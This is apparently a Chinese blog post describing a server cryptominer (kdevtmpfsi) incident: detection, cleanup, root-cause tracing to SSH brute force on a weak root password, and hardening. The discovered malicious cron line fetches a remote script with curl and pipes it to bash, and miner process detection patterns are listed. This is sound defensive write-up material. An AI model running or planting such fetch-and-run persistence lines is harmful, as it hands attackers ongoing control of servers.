news 2026/7/1 20:38:30

服务器被黑了,我是怎么发现和处理的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
服务器被黑了,我是怎么发现和处理的

上周五晚上10点,正准备关电脑下班,收到一条告警:服务器CPU 100%。

点开一看,好家伙,被挖矿了。

记录一下整个排查和处理过程,希望对大家有帮助。

发现异常

告警内容:

[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8% 持续时间:15分钟

第一反应:难道是流量突增?看了一下监控,QPS很正常,但CPU就是打满了。

SSH登上去看看:

top
PID USER %CPU COMMAND 12345 www-data 98.5 ./kdevtmpfsi

kdevtmpfsi?这是啥进程?百度一搜,典型的挖矿木马。

应急处理

第一时间:隔离

# 先把服务器从负载均衡摘掉# 或者直接断外网(但我需要SSH连接,所以没断)# 在防火墙上禁止该服务器对外连接iptables -A OUTPUT -j DROP# 只允许SSHiptables -I OUTPUT -p tcp --dport22-j ACCEPT

杀掉挖矿进程

# 找到进程psaux|grepkdevtmpfsi# 杀掉kill-912345# 但是几秒后又起来了...

说明有守护进程或者定时任务在重启它。

查找守护机制

# 检查定时任务crontab-lcat/etc/crontabls/etc/cron.d/cat/var/spool/cron/crontabs/*

发现了:

# /var/spool/cron/crontabs/www-data*/5 * * * *curl-s http://xxx.xxx/b.sh|bash

每5分钟从外部下载脚本执行。

# 删除定时任务crontab-r -u www-data# 再查一下有没有别的grep-r"kdevtmpfsi"/etc/grep-r"curl.*\.sh"/var/

还找到了几个地方:

# /etc/rc.local 里被加了一行/tmp/.cache/kdevtmpfsi&# 删掉vim/etc/rc.local

清理木马文件

# 找到所有可疑文件find/ -name"kdevtmpfsi"2>/dev/nullfind/ -name".cache"-type d2>/dev/nullfind/tmp -type f -executable2>/dev/null# 删除rm-rf /tmp/.cacherm-rf /var/tmp/.cache

检查SSH后门

# 检查authorized_keyscat/root/.ssh/authorized_keyscat/home/*/.ssh/authorized_keys# 发现多了一个不认识的公钥,删掉

溯源分析

木马清理完了,得查查怎么进来的。

检查登录日志

# 查看最近登录last lastb# 失败的登录# 查看SSH日志grep"Accepted"/var/log/auth.log|tail-50

发现凌晨3点有一次root登录,来自一个国外IP。

但我们的root是禁止远程登录的啊?

cat/etc/ssh/sshd_config|grepPermitRootLogin# PermitRootLogin yes

谁改的?git blame一下配置管理…原来是之前同事调试的时候开的,忘记关了。

检查入侵方式

继续分析日志:

grep"Failed password"/var/log/auth.log|wc-l# 85432

8万多次失败登录,典型的暴力破解。

再看成功的那次:

grep"Accepted password for root"/var/log/auth.log# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx

密码是什么?检查一下root密码复杂度…

问了一圈,得知root密码是Admin@123

典型的弱密码,字典里肯定有。

根因总结

入侵链路:

1. SSH对外开放22端口 ✓ 2. 允许root远程登录 ✓ 3. root使用弱密码 ✓ 4. 被暴力破解成功 5. 下载挖矿木马 6. 添加定时任务保持持久化

每一步都是安全隐患,叠加起来就被黑了。

加固措施

1. SSH安全加固

# /etc/ssh/sshd_config# 禁止root登录PermitRootLogin no# 禁止密码登录,只用密钥PasswordAuthentication no PubkeyAuthenticationyes# 改端口(可选)Port22022# 只允许特定用户AllowUsers admin ops# 重启SSHsystemctl restart sshd

2. 安装fail2ban

aptinstallfail2ban -y# 配置cat>/etc/fail2ban/jail.local<<EOF [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 86400 findtime = 600 EOFsystemctlenablefail2ban systemctl start fail2ban

5次失败就封IP一天。

3. 防火墙限制

# 只允许公司IP访问SSHiptables -A INPUT -p tcp --dport22-s 公司IP -j ACCEPT iptables -A INPUT -p tcp --dport22-j DROP

4. 密码策略

# 安装密码复杂度检查aptinstalllibpam-pwquality# /etc/security/pwquality.confminlen=12dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1

5. 监控告警

加了几个告警规则:

  • CPU持续高于80%超过5分钟
  • 新增定时任务时告警
  • SSH登录成功告警(非白名单IP)
  • 异常外连告警

远程应急的问题

这次还好我在公司,直接SSH上去处理了。

如果是半夜在家收到告警呢?家里连不上公司内网服务器。

之前的方案是开远程专线,但:

  • 连接经常断
  • 手机上操作很麻烦
  • 有些服务器在隔离网段,专线也连不上

后来用星空组网把服务器都组到一起,不管在哪都能SSH连上,应急方便多了。

事后复盘

该做没做的

  • 定期安全扫描
  • 配置文件变更审计
  • SSH配置检查纳入部署流程
  • 密码定期更换

侥幸逃过的

  • 幸好只是挖矿,不是勒索病毒
  • 幸好数据库没被拖
  • 幸好发现得早

改进措施

  1. 所有服务器SSH配置统一管理(Ansible)
  2. 每月安全扫描
  3. 新服务器上线必须经过安全检查
  4. 重要服务器禁止密码登录

常见挖矿木马特征

最后总结一下常见的挖矿木马特征,方便排查:

进程名特征
kdevtmpfsi最常见
kinsing配套木马
xmrig门罗币挖矿
*.sh在/tmp下可疑脚本
# 快速检查命令psaux|grep-E"kdevtmpfsi|kinsing|xmrig|cryptonight"find/tmp /var/tmp -type f -executablecrontab-lcat/etc/rc.local

希望大家的服务器都平平安安,不要遇到这种事。

有安全相关的问题可以评论区交流。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/2 1:46:08

股票基础-第31课-模拟实战与案例分析

一、模拟交易演练 1.1 模拟交易平台 平台: 同花顺模拟交易 雪球模拟组合 东方财富模拟炒股 1.2 演练步骤 步骤: 选择标的 分析基本面 制定交易计划 执行交易 记录和复盘 1.3 演练要点 要点: 认真对待 按真实交易执行 记录过程 定期复盘 二、综合案例分析 2.1 分析框架 …

作者头像 李华
网站建设 2026/7/2 0:14:35

LangFlow镜像导入导出功能:跨平台迁移无压力

LangFlow镜像导入导出功能&#xff1a;跨平台迁移无压力 在构建大语言模型&#xff08;LLM&#xff09;应用的实践中&#xff0c;开发者常常面临一个现实困境&#xff1a;如何快速、准确地将本地调试好的工作流迁移到团队协作环境或生产服务器&#xff1f;传统方式依赖文档描述…

作者头像 李华
网站建设 2026/7/1 5:04:17

还在手动回评?Open-AutoGLM让你1秒生成千条个性化回复,

第一章&#xff1a;还在手动回评&#xff1f;Open-AutoGLM让你1秒生成千条个性化回复面对海量用户评论&#xff0c;手动逐条回复不仅耗时耗力&#xff0c;还容易造成语气不统一、响应延迟等问题。Open-AutoGLM 是一款基于开源大语言模型的自动化评论生成工具&#xff0c;专为高…

作者头像 李华
网站建设 2026/7/1 11:07:42

每天节省6小时人工操作,Open-AutoGLM究竟怎么做到的?

第一章&#xff1a;每天节省6小时人工操作&#xff0c;Open-AutoGLM如何重塑电商订单处理效率在电商运营中&#xff0c;订单处理是高频且重复性极高的任务。传统方式依赖人工核对、分类和分发订单信息&#xff0c;不仅耗时&#xff0c;还容易出错。Open-AutoGLM 的引入彻底改变…

作者头像 李华
网站建设 2026/6/30 5:38:16

基于单片机蓄电池充放电检测系统设计

第一章 系统设计背景与目标 在新能源储能、汽车启动电源、应急照明等场景中&#xff0c;蓄电池的充放电状态直接影响设备运行可靠性与电池使用寿命。传统蓄电池管理多依赖人工定期检测&#xff08;如万用表测电压&#xff09;&#xff0c;存在参数监测不全面&#xff08;忽略电…

作者头像 李华
网站建设 2026/7/1 22:08:52

电气自动化领域基于 PLC 的智能家居安防监控系统设计

第一章 系统方案规划 &#xff08;贴合家居场景的安防架构&#xff09; 本系统以 “全方位监测、即时预警、便捷联动” 为核心目标&#xff0c;立足电气自动化技术&#xff0c;采用 “PLC 传感器 执行器 人机交互” 架构&#xff0c;构建覆盖住宅门窗、室内外关键区域的安防…

作者头像 李华